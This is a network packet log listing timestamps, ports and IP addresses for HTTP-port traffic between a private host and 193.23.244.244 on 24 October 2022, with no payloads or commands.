Oct 24, 2022 11:09:03.004057884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.004108906 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012243032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012275934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012295008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012311935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012331009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012347937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012360096 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012367010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012384892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012403965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012420893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012435913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012440920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012460947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012471914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012479067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012497902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012501001 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012516975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012535095 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012552023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012557983 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012569904 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.012592077 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.012630939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.019521952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019578934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019689083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.019824982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019854069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019880056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019906998 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019907951 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.019934893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019947052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.019963026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.019990921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020003080 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020020962 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020047903 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020061016 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020076990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020102978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020117044 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020129919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020155907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020168066 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020179987 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020200014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020216942 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020222902 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020236015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020253897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020267010 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020272970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020289898 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020301104 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020307064 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020324945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020330906 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020343065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020359993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020378113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020389080 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020395041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020418882 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020421982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020441055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020451069 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020457983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020476103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020493031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020498991 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020512104 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020529032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020534992 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020546913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.020559072 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.020612955 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.029927015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.029978037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030014038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030046940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030081034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030086040 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.030113935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030144930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030150890 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.030174971 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.030178070 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030222893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030227900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.030253887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030286074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030297041 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.030318975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.030360937 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.032510042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032567024 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032598972 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032632113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032655954 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.032665014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032697916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032710075 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.032751083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.032870054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032923937 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032958984 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.032969952 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.032989025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033024073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033035040 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033060074 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033092022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033103943 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033126116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033159971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033169031 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033195019 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033227921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033237934 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033262014 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033294916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033305883 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033327103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033368111 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033382893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033416986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033447981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033461094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033478022 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033509016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033519983 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033564091 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033608913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033638000 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033652067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033695936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033699036 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033740997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033783913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033783913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033828974 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033870935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033873081 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033915043 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033958912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.033971071 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.033999920 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034045935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034045935 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034094095 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034137011 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034138918 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034194946 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034235954 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034248114 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034266949 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034300089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034308910 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034332037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034363031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034373045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034395933 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034427881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034437895 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034459114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034490108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034499884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034523010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034581900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034594059 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034614086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034646034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034655094 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034678936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034710884 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034718990 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.034743071 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.034785032 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.039993048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040043116 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040070057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040092945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040117979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040139914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040157080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040175915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040193081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040210009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040227890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040245056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040262938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040281057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040297985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040314913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040332079 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040348053 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.040352106 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.040445089 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.046825886 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.046889067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047034025 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047465086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047497988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047595024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047602892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047622919 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047643900 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047662973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047673941 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047684908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047703981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047719002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047724009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047740936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047759056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047774076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047779083 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047799110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047817945 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047827005 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047836065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047853947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047864914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047872066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047889948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047899961 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047909975 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047921896 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047929049 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047946930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047959089 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.047966957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.047985077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048003912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048013926 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048022032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048038960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048051119 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048058033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048074961 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048088074 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048094034 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048111916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048122883 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048131943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048151970 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048161030 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048170090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048183918 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048187971 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048207045 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.048218012 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.048269033 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.057457924 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057496071 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057514906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057533979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057552099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057569981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057589054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057610035 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057627916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057646990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057657957 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.057661057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057678938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.057707071 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.057787895 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.059866905 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059900045 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059920073 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059937000 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059954882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059973955 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.059988976 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.060082912 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.061773062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061805010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061821938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061841011 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061860085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061877012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061894894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061913013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061918974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.061927080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061945915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061963081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.061980009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062000990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062006950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062006950 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062014103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062030077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062048912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062066078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062068939 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062079906 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062098026 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062114954 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062118053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062135935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062154055 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062172890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062175035 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062175035 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062186956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062221050 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062266111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062283993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062306881 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062311888 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062329054 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062345982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062364101 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062377930 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062397957 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062410116 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062416077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062427998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062434912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062452078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062453032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062472105 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062489033 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062494993 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:03.062506914 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:03.062520027 CEST	49700	80	192.168.2.3	193.23.244.244
